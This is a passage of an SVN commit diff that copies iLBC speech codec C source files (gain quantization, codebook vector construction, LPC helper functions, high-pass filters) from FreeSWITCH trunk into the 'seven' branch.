+                                                     input, on en exit InOut[-orderCoef] to
+                                                     InOut[-1] is unchanged and InOut[0] to
+                                                     InOut[lengthInOut-1] contain filtered
+                                                     samples */
+                   const float *Coef,       /* (i) filter coefficients, Coef[0] is assumed to be 1.0 */
+                   int lengthInOut,         /* (i) number of input/output samples */
+                   int orderCoef);          /* (i) number of filter coefficients */
+
+void AllZeroFilter(float *In,               /* (i) In[0] to In[lengthInOut-1] contain
+                                                   filter input samples */
+                   const float *Coef,       /* (i) filter coefficients (Coef[0] is assumed to be 1.0) */
+                   int lengthInOut,         /* (i) number of input/output samples */
+                   int orderCoef,           /* (i) number of filter coefficients */
+                   float *Out);             /* (i/o) on entrance Out[-orderCoef] to Out[-1]
+                                                     contain the filter state, on exit Out[0]
+                                                     to Out[lengthInOut-1] contain filtered
+                                                     samples */
+
+void ZeroPoleFilter(float *In,              /* (i) In[0] to In[lengthInOut-1] contain filter
+                                                   input samples In[-orderCoef] to In[-1]
+                                                   contain state of all-zero section */
+                    const float *ZeroCoef,  /* (i) filter coefficients for all-zero
+                                                   section (ZeroCoef[0] is assumed to
+                                                   be 1.0) */
+                    const float *PoleCoef,  /* (i) filter coefficients for all-pole section
+                                                   (ZeroCoef[0] is assumed to be 1.0) */
+                    int lengthInOut,        /* (i) number of input/output samples */
+                    int orderCoef,          /* (i) number of filter coefficients */
+                    float *Out);            /* (i/o) on entrance Out[-orderCoef] to Out[-1]
+                                                     contain state of all-pole section. On
+                                                     exit Out[0] to Out[lengthInOut-1]
+                                                     contain filtered samples */
+
+void DownSample(const float *In,            /* (i) input samples */
+                const float *Coef,          /* (i) filter coefficients */
+                int lengthIn,               /* (i) number of input samples */
+                float *state,               /* (i) filter state */
+                float *Out);                /* (o) downsampled output */
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/gainquant.c

Copied: freeswitch/branches/seven/libs/ilbc/src/gainquant.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/gainquant.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/gainquant.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/gainquant.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,111 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * gainquant.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: gainquant.c,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+#include <math.h>
+#include <string.h>
+
+#include "constants.h"
+#include "filter.h"
+#include "gainquant.h"
+
+/*----------------------------------------------------------------*
+ *  quantizer for the gain in the gain-shape coding of residual
+ *---------------------------------------------------------------*/
+
+float gainquant(                /* (o) quantized gain value */
+                float in,       /* (i) gain value */
+                float maxIn,    /* (i) maximum of gain value */
+                int cblen,      /* (i) number of quantization indices */
+                int *index)     /* (o) quantization index */
+{
+    int i;
+    int tindex;
+    float minmeasure;
+    float measure;
+    const float *cb;
+    float scale;
+
+    /* ensure a lower bound on the scaling factor */
+    scale = maxIn;
+
+    if (scale < 0.1f)
+        scale = 0.1f;
+
+    /* select the quantization table */
+    if (cblen == 8)
+        cb = gain_sq3Tbl;
+    else if (cblen == 16)
+        cb = gain_sq4Tbl;
+    else
+        cb = gain_sq5Tbl;
+
+    /* select the best index in the quantization table */
+    minmeasure = 10000000.0f;
+    tindex = 0;
+    for (i = 0;  i < cblen;  i++)
+    {
+        measure = (in-scale*cb[i])*(in-scale*cb[i]);
+
+        if (measure < minmeasure)
+        {
+            tindex = i;
+            minmeasure = measure;
+        }
+    }
+    *index = tindex;
+
+    /* return the quantized value */
+    return scale*cb[tindex];
+}
+
+/*----------------------------------------------------------------*
+ *  decoder for quantized gains in the gain-shape coding of
+ *  residual
+ *---------------------------------------------------------------*/
+
+float gaindequant(              /* (o) quantized gain value */
+                  int index,    /* (i) quantization index */
+                  float maxIn,  /* (i) maximum of unquantized gain */
+                  int cblen)    /* (i) number of quantization indices */
+{
+    float scale;
+
+    /* obtain correct scale factor */
+    scale = fabsf(maxIn);
+
+    if (scale < 0.1f)
+        scale = 0.1f;
+
+    /* select the quantization table and return the decoded value */
+    if (cblen == 8)
+        return scale*gain_sq3Tbl[index];
+    if (cblen == 16)
+        return scale*gain_sq4Tbl[index];
+    if (cblen == 32)
+        return scale*gain_sq5Tbl[index];
+
+    return 0.0;
+}

Deleted: freeswitch/branches/seven/libs/ilbc/src/gainquant.h

Copied: freeswitch/branches/seven/libs/ilbc/src/gainquant.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/gainquant.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/gainquant.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/gainquant.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,34 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * gainquant.h - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: gainquant.h,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+#ifndef __iLBC_GAINQUANT_H
+#define __iLBC_GAINQUANT_H
+
+float gainquant(                /* (o) quantized gain value */
+                float in,       /* (i) gain value */
+                float maxIn,    /* (i) maximum of gain value */
+                int cblen,      /* (i) number of quantization indices */
+                int *index);    /* (o) quantization index */
+
+float gaindequant(              /* (o) quantized gain value */
+                  int index,    /* (i) quantization index */
+                  float maxIn,  /* (i) maximum of unquantized gain */
+                  int cblen);   /* (i) number of quantization indices */
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/getCBvec.c

Copied: freeswitch/branches/seven/libs/ilbc/src/getCBvec.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/getCBvec.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/getCBvec.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/getCBvec.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,169 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * getCBvec.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: getCBvec.c,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+#include <string.h>
+
+#include "ilbc.h"
+#include "constants.h"
+#include "getCBvec.h"
+
+/*----------------------------------------------------------------*
+ *  Construct codebook vector for given index.
+ *---------------------------------------------------------------*/
+
+void getCBvec(float *cbvec,     /* (o) Constructed codebook vector */
+              float *mem,       /* (i) Codebook buffer */
+              int index,        /* (i) Codebook index */
+              int lMem,         /* (i) Length of codebook buffer */
+              int cbveclen)     /* (i) Codebook vector length */
+{
+    int j;
+    int k;
+    int n;
+    int memInd;
+    int sFilt;
+    float tmpbuf[CB_MEML];
+    int base_size;
+    int ilow;
+    int ihigh;
+    float alfa;
+    float alfa1;
+
+    /* Determine size of codebook sections */
+    base_size = lMem - cbveclen + 1;
+
+    if (cbveclen == SUBL)
+        base_size += cbveclen/2;
+
+    /* No filter -> First codebook section */
+    if (index < lMem - cbveclen + 1)
+    {
+        /* First non-interpolated vectors */
+        k = index + cbveclen;
+        /* Get vector */
+        memcpy(cbvec, mem + lMem - k, cbveclen*sizeof(float));
+    }
+    else if (index < base_size)
+    {
+        k = 2*(index - (lMem - cbveclen + 1)) + cbveclen;
+
+        ihigh = k/2;
+        ilow = ihigh - 5;
+
+        /* Copy first noninterpolated part */
+        memcpy(cbvec, mem + lMem - k/2, ilow*sizeof(float));
+
+        /* Interpolation */
+        alfa1 = 0.2f;
+        alfa = 0.0f;
+        for (j = ilow;  j < ihigh;  j++)
+        {
+            cbvec[j] = (1.0f - alfa)*mem[lMem - k/2 + j] + alfa*mem[lMem - k + j];
+            alfa += alfa1;
+        }
+
+        /* Copy second noninterpolated part */
+        memcpy(cbvec + ihigh, mem + lMem - k + ihigh, (cbveclen - ihigh)*sizeof(float));
+    }
+    /* Higher codebook section based on filtering */
+    else
+    {
+        if (index - base_size < lMem - cbveclen + 1)
+        {
+            float tempbuff2[CB_MEML + CB_FILTERLEN + 1];
+            float *pos;
+            const float *pp;
+            const float *pp1;
+
+            /* Non-interpolated vectors */
+            memset(tempbuff2, 0, CB_HALFFILTERLEN*sizeof(float));
+            memcpy(&tempbuff2[CB_HALFFILTERLEN], mem, lMem*sizeof(float));
+            memset(&tempbuff2[lMem + CB_HALFFILTERLEN], 0, (CB_HALFFILTERLEN + 1)*sizeof(float));
+
+            k = index - base_size + cbveclen;
+            sFilt = lMem - k;
+            memInd = sFilt + 1 - CB_HALFFILTERLEN;
+
+            /* do filtering */
+            pos = cbvec;
+            memset(pos, 0, cbveclen*sizeof(float));
+            for (n = 0;  n < cbveclen;  n++)
+            {
+                pp = &tempbuff2[memInd + n + CB_HALFFILTERLEN];
+                pp1 = &cbfiltersTbl[CB_FILTERLEN - 1];
+                for (j = 0;  j < CB_FILTERLEN;  j++)
+                    (*pos) += (*pp++)*(*pp1--);
+                pos++;
+            }
+        }
+        else
+        {
+            float tempbuff2[CB_MEML + CB_FILTERLEN + 1];
+            float *pos;
+            const float *pp;
+            const float *pp1;
+            int i;
+
+            /* Interpolated vectors */
+            memset(tempbuff2, 0, CB_HALFFILTERLEN*sizeof(float));
+            memcpy(&tempbuff2[CB_HALFFILTERLEN], mem, lMem*sizeof(float));
+            memset(&tempbuff2[lMem + CB_HALFFILTERLEN], 0, (CB_HALFFILTERLEN + 1)*sizeof(float));
+
+            k = 2*(index-base_size - (lMem - cbveclen + 1)) + cbveclen;
+            sFilt = lMem - k;
+            memInd = sFilt + 1 - CB_HALFFILTERLEN;
+
+            /* do filtering */
+            pos = &tmpbuf[sFilt];
+            memset(pos, 0, k*sizeof(float));
+            for (i = 0;  i < k;  i++)
+            {
+                pp = &tempbuff2[memInd + i + CB_HALFFILTERLEN];
+                pp1 = &cbfiltersTbl[CB_FILTERLEN - 1];
+                for (j = 0;  j < CB_FILTERLEN;  j++)
+                    (*pos) += (*pp++)*(*pp1--);
+                pos++;
+            }
+
+            ihigh = k/2;
+            ilow = ihigh - 5;
+
+            /* Copy first noninterpolated part */
+            memcpy(cbvec, tmpbuf + lMem - k/2, ilow*sizeof(float));
+
+            /* interpolation */
+            alfa1 = 0.2f;
+            alfa = 0.0f;
+            for (j = ilow;  j < ihigh;  j++)
+            {
+                cbvec[j] = (1.0f - alfa)*tmpbuf[lMem - k/2 + j]+alfa*tmpbuf[lMem - k + j];
+                alfa += alfa1;
+            }
+            /* Copy second noninterpolated part */
+            memcpy(cbvec + ihigh, tmpbuf + lMem - k + ihigh, (cbveclen - ihigh)*sizeof(float));
+        }
+    }
+}

Deleted: freeswitch/branches/seven/libs/ilbc/src/getCBvec.h

Copied: freeswitch/branches/seven/libs/ilbc/src/getCBvec.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/getCBvec.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/getCBvec.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/getCBvec.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,29 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * getCBvec.h - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: getCBvec.h,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+#ifndef __iLBC_GETCBVEC_H
+#define __iLBC_GETCBVEC_H
+
+void getCBvec(float *cbvec,   /* (o) Constructed codebook vector */
+              float *mem,     /* (i) Codebook buffer */
+              int index,      /* (i) Codebook index */
+              int lMem,       /* (i) Length of codebook buffer */
+              int cbveclen);  /* (i) Codebook vector length */
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/helpfun.c

Copied: freeswitch/branches/seven/libs/ilbc/src/helpfun.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/helpfun.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/helpfun.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/helpfun.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,334 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * helpfun.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: helpfun.c,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+#include <math.h>
+
+#include "ilbc.h"
+#include "constants.h"
+#include "helpfun.h"
+
+/*----------------------------------------------------------------*
+ *  calculation of auto correlation
+ *----------------------------------------------------------------*/
+
+void autocorr(float *r,         /* (o) autocorrelation vector */
+              const float *x,   /* (i) data vector */
+              int N,            /* (i) length of data vector */
+              int order)        /* largest lag for calculated autocorrelations */
+{
+    int lag;
+    int n;
+    float sum;
+
+    for (lag = 0;  lag <= order;  lag++)
+    {
+        sum = 0;
+        for (n = 0;  n < N - lag;  n++)
+            sum += x[n]*x[n + lag];
+        r[lag] = sum;
+    }
+}
+
+/*----------------------------------------------------------------*
+ *  window multiplication
+ *---------------------------------------------------------------*/
+
+void window(float *z,       /* (o) the windowed data */
+            const float *x, /* (i) the original data vector */
+            const float *y, /* (i) the window */
+            int N)          /* (i) length of all vectors */
+{
+    int i;
+
+    for (i = 0;  i < N;  i++)
+        z[i] = x[i]*y[i];
+}
+
+/*----------------------------------------------------------------*
+ *  levinson-durbin solution for lpc coefficients
+ *---------------------------------------------------------------*/
+
+void levdurb(float *a,      /* (o) lpc coefficient vector starting with 1.0 */
+             float *k,      /* (o) reflection coefficients */
+             float *r,      /* (i) autocorrelation vector */
+             int order)     /* (i) order of lpc filter */
+{
+    float sum;
+    float alpha;
+    int m;
+    int m_h;
+    int i;
+
+    a[0] = 1.0f;
+
+    if (r[0] < EPS)
+    {
+        /* if r[0] <= 0, set LPC coeff. to zero */
+        for (i = 0;  i < order;  i++)
+        {
+            k[i] = 0;
+            a[i+1] = 0;
+        }
+    }
+    else
+    {
+        a[1] = k[0] = -r[1]/r[0];
+        alpha = r[0] + r[1]*k[0];
+        for (m = 1;  m < order;  m++)
+        {
+            sum = r[m + 1];
+            for (i = 0;  i < m;  i++)
+                sum += a[i + 1]*r[m - i];
+            k[m] = -sum/alpha;
+            alpha += k[m]*sum;
+            m_h = (m + 1) >> 1;
+            for (i = 0;  i < m_h;  i++)
+            {
+                sum = a[i + 1] + k[m]*a[m - i];
+                a[m - i] += k[m]*a[i+1];
+                a[i + 1] = sum;
+            }
+            a[m + 1] = k[m];
+        }
+    }
+}
+
+/*----------------------------------------------------------------*
+ *  interpolation between vectors
+ *---------------------------------------------------------------*/
+
+void interpolate(float *out,    /* (o) the interpolated vector */
+                 float *in1,    /* (i) the first vector for the
+                                       interpolation */
+                 float *in2,    /* (i) the second vector for the
+                                       interpolation */
+                 float coef,    /* (i) interpolation weights */
+                 int length)    /* (i) length of all vectors */
+{
+    int i;
+    float invcoef;
+
+    invcoef = 1.0f - coef;
+    for (i = 0;  i < length;  i++)
+        out[i] = coef*in1[i] + invcoef*in2[i];
+}
+
+/*----------------------------------------------------------------*
+ *  lpc bandwidth expansion
+ *---------------------------------------------------------------*/
+
+void bwexpand(float *out,   /* (o) the bandwidth expanded lpc coefficients */
+              float *in,    /* (i) the lpc coefficients before bandwidth expansion */
+              float coef,   /* (i) the bandwidth expansion factor */
+              int length)   /* (i) the length of lpc coefficient vectors */
+{
+    int i;
+    float chirp;
+
+    chirp = coef;
+
+    out[0] = in[0];
+    for (i = 1;  i < length;  i++)
+    {
+        out[i] = chirp*in[i];
+        chirp *= coef;
+    }
+}
+
+/*----------------------------------------------------------------*
+ *  vector quantization
+ *---------------------------------------------------------------*/
+
+void vq(float *Xq,          /* (o) the quantized vector */
+        int *index,         /* (o) the quantization index */
+        const float *CB,    /* (i) the vector quantization codebook */
+        float *X,           /* (i) the vector to quantize */
+        int n_cb,           /* (i) the number of vectors in the codebook */
+        int dim)            /* (i) the dimension of all vectors */
+{
+    int i;
+    int j;
+    int pos;
+    int minindex;
+    float dist;
+    float tmp;
+    float mindist;
+
+    pos = 0;
+    mindist = FLOAT_MAX;
+    minindex = 0;
+    for (j = 0;  j < n_cb;  j++)
+    {
+        dist = X[0] - CB[pos];
+        dist *= dist;
+        for (i = 1;  i < dim;  i++)
+        {
+            tmp = X[i] - CB[pos + i];
+            dist += tmp*tmp;
+        }
+
+        if (dist < mindist)
+        {
+            mindist = dist;
+            minindex = j;
+        }
+        pos += dim;
+    }
+    for (i = 0;  i < dim;  i++)
+        Xq[i] = CB[minindex*dim + i];
+    *index = minindex;
+}
+
+/*----------------------------------------------------------------*
+ *  split vector quantization
+ *---------------------------------------------------------------*/
+
+void SplitVQ(float *qX,         /* (o) the quantized vector */
+             int *index,        /* (o) a vector of indexes for all vector
+                                       codebooks in the split */
+             float *X,          /* (i) the vector to quantize */
+             const float *CB,   /* (i) the quantizer codebook */
+             int nsplit,        /* the number of vector splits */
+             const int *dim,    /* the dimension of X and qX */
+             const int *cbsize) /* the number of vectors in the codebook */
+{
+    int cb_pos;
+    int X_pos;
+    int i;
+
+    cb_pos = 0;
+    X_pos = 0;
+    for (i = 0;  i < nsplit;  i++)
+    {
+        vq(qX + X_pos, index + i, CB + cb_pos, X + X_pos, cbsize[i], dim[i]);
+        X_pos += dim[i];
+        cb_pos += dim[i]*cbsize[i];
+    }
+}
+
+/*----------------------------------------------------------------*
+ *  scalar quantization
+ *---------------------------------------------------------------*/
+
+void sort_sq(float *xq,         /* (o) the quantized value */
+             int *index,        /* (o) the quantization index */
+             float x,           /* (i) the value to quantize */
+             const float *cb,   /* (i) the quantization codebook */
+             int cb_size)       /* (i) the size of the quantization codebook */
+{
+    int i;
+
+    if (x <= cb[0])
+    {
+        *index = 0;
+        *xq = cb[0];
+    }
+    else
+    {
+        i = 0;
+        while ((x > cb[i])  &&  i < cb_size - 1)
+        {
+            i++;
+        }
+
+        if (x > ((cb[i] + cb[i - 1])/2))
+        {
+            *index = i;
+            *xq = cb[i];
+        }
+        else
+        {
+            *index = i - 1;
+            *xq = cb[i - 1];
+        }
+    }
+}
+
+/*----------------------------------------------------------------*
+ *  check for stability of lsf coefficients
+ *---------------------------------------------------------------*/
+
+int LSF_check(              /* (o) 1 for stable lsf vectors and 0 for nonstable ones */
+              float *lsf,   /* (i) a table of lsf vectors */
+              int dim,      /* (i) the dimension of each lsf vector */
+              int NoAn)     /* (i) the number of lsf vectors in the table */
+{
+    int k;
+    int n;
+    int m;
+    int Nit = 2;
+    int change = 0;
+    int pos;
+    float tmp;
+    static const float eps = 0.039f; /* 50 Hz */
+    static const float eps2 = 0.0195f;
+    static const float maxlsf = 3.14f; /* 4000 Hz */
+    static const float minlsf = 0.01f; /* 0 Hz */
+
+    /* LSF separation check*/
+    for (n = 0;  n < Nit;  n++)
+    {
+        /* Run through a couple of times */
+        for (m = 0;  m < NoAn;  m++)
+        {
+            /* Number of analyses per frame */
+            for (k = 0;  k < (dim - 1);  k++)
+            {
+                pos = m*dim + k;
+
+                if ((lsf[pos + 1] - lsf[pos]) < eps)
+                {
+                    if (lsf[pos + 1] < lsf[pos])
+                    {
+                        tmp = lsf[pos + 1];
+                        lsf[pos + 1] = lsf[pos] + eps2;
+                        lsf[pos] = lsf[pos + 1] - eps2;
+                    }
+                    else
+                    {
+                        lsf[pos] -= eps2;
+                        lsf[pos+1] += eps2;
+                    }
+                    change = 1;
+                }
+
+                if (lsf[pos] < minlsf)
+                {
+                    lsf[pos] = minlsf;
+                    change = 1;
+                }
+
+                if (lsf[pos] > maxlsf)
+                {
+                    lsf[pos] = maxlsf;
+                    change = 1;
+                }
+            }
+        }
+    }
+
+    return change;
+}

Deleted: freeswitch/branches/seven/libs/ilbc/src/helpfun.h

Copied: freeswitch/branches/seven/libs/ilbc/src/helpfun.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/helpfun.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/helpfun.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/helpfun.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,80 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * helpfun.h - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: helpfun.h,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+#ifndef __iLBC_HELPFUN_H
+#define __iLBC_HELPFUN_H
+
+void autocorr(float *r,         /* (o) autocorrelation vector */
+              const float *x,   /* (i) data vector */
+              int N,            /* (i) length of data vector */
+              int order);       /* largest lag for calculated
+                                 autocorrelations */
+
+void window(float *z,           /* (o) the windowed data */
+            const float *x,     /* (i) the original data vector */
+            const float *y,     /* (i) the window */
+            int N);             /* (i) length of all vectors */
+
+void levdurb(float *a,          /* (o) lpc coefficient vector starting with 1.0 */
+             float *k,          /* (o) reflection coefficients */
+             float *r,          /* (i) autocorrelation vector */
+             int order);        /* (i) order of lpc filter */
+
+void interpolate(float *out,    /* (o) the interpolated vector */
+                 float *in1,    /* (i) the first vector for the
+                                       interpolation */
+                 float *in2,    /* (i) the second vector for the
+                                       interpolation */
+                 float coef,    /* (i) interpolation weights */
+                 int length);   /* (i) length of all vectors */
+
+void bwexpand(float *out,       /* (o) the bandwidth expanded lpc coefficients */
+              float *in,        /* (i) the lpc coefficients before bandwidth
+                                       expansion */
+              float coef,       /* (i) the bandwidth expansion factor */
+              int length);      /* (i) the length of lpc coefficient vectors */
+
+void vq(float *Xq,              /* (o) the quantized vector */
+        int *index,             /* (o) the quantization index */
+        const float *CB,        /* (i) the vector quantization codebook */
+        float *X,               /* (i) the vector to quantize */
+        int n_cb,               /* (i) the number of vectors in the codebook */
+        int dim);               /* (i) the dimension of all vectors */
+
+void SplitVQ(float *qX,             /* (o) the quantized vector */
+             int *index,            /* (o) a vector of indexes for all vector
+                                           codebooks in the split */
+             float *X,              /* (i) the vector to quantize */
+             const float *CB,       /* (i) the quantizer codebook */
+             int nsplit,            /* the number of vector splits */
+             const int *dim,        /* the dimension of X and qX */
+             const int *cbsize);    /* the number of vectors in the codebook */
+
+void sort_sq(float *xq,         /* (o) the quantized value */
+             int *index,        /* (o) the quantization index */
+             float x,           /* (i) the value to quantize */
+             const float *cb,   /* (i) the quantization codebook */
+             int cb_size);      /* (i) the size of the quantization codebook */
+
+int LSF_check(                  /* (o) 1 for stable lsf vectors and 0 for nonstable ones */
+              float *lsf,       /* (i) a table of lsf vectors */
+              int dim,          /* (i) the dimension of each lsf vector */
+              int NoAn);        /* (i) the number of lsf vectors in the table */
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/hpInput.c

Copied: freeswitch/branches/seven/libs/ilbc/src/hpInput.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/hpInput.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/hpInput.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/hpInput.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,70 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * hpInput.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: hpInput.c,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+
+#include "constants.h"
+#include "hpInput.h"
+
+/*----------------------------------------------------------------*
+ *  Input high-pass filter
+ *---------------------------------------------------------------*/
+
+void hpInput(const float *In,   /* (i) vector to filter */
+             int len,           /* (i) length of vector to filter */
+             float *Out,        /* (o) the resulting filtered vector */
+             float *mem)        /* (i/o) the filter state */
+{
+    int i;
+    const float *pi;
+    float *po;
+
+    /* all-zero section*/
+    pi = &In[0];
+    po = &Out[0];
+    for (i = 0;  i < len;  i++)
+    {
+        *po = hpi_zero_coefsTbl[0]*(*pi);
+        *po += hpi_zero_coefsTbl[1]*mem[0];
+        *po += hpi_zero_coefsTbl[2]*mem[1];
+
+        mem[1] = mem[0];
+        mem[0] = *pi;
+        po++;
+        pi++;
+    }
+
+    /* all-pole section*/
+    po = &Out[0];
+    for (i = 0;  i < len;  i++)
+    {
+        *po -= hpi_pole_coefsTbl[1]*mem[2];
+        *po -= hpi_pole_coefsTbl[2]*mem[3];
+
+        mem[3] = mem[2];
+        mem[2] = *po;
+        po++;
+    }
+}

Deleted: freeswitch/branches/seven/libs/ilbc/src/hpInput.h

Copied: freeswitch/branches/seven/libs/ilbc/src/hpInput.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/hpInput.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/hpInput.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/hpInput.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,28 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * hpInput.h - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: hpInput.h,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+#ifndef __iLBC_HPINPUT_H
+#define __iLBC_HPINPUT_H
+
+void hpInput(const float *In,   /* (i) vector to filter */
+             int len,           /* (i) length of vector to filter */
+             float *Out,        /* (o) the resulting filtered vector */
+             float *mem);       /* (i/o) the filter state */
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/hpOutput.c

Copied: freeswitch/branches/seven/libs/ilbc/src/hpOutput.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/hpOutput.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/hpOutput.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/hpOutput.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,70 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * hpOutput.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
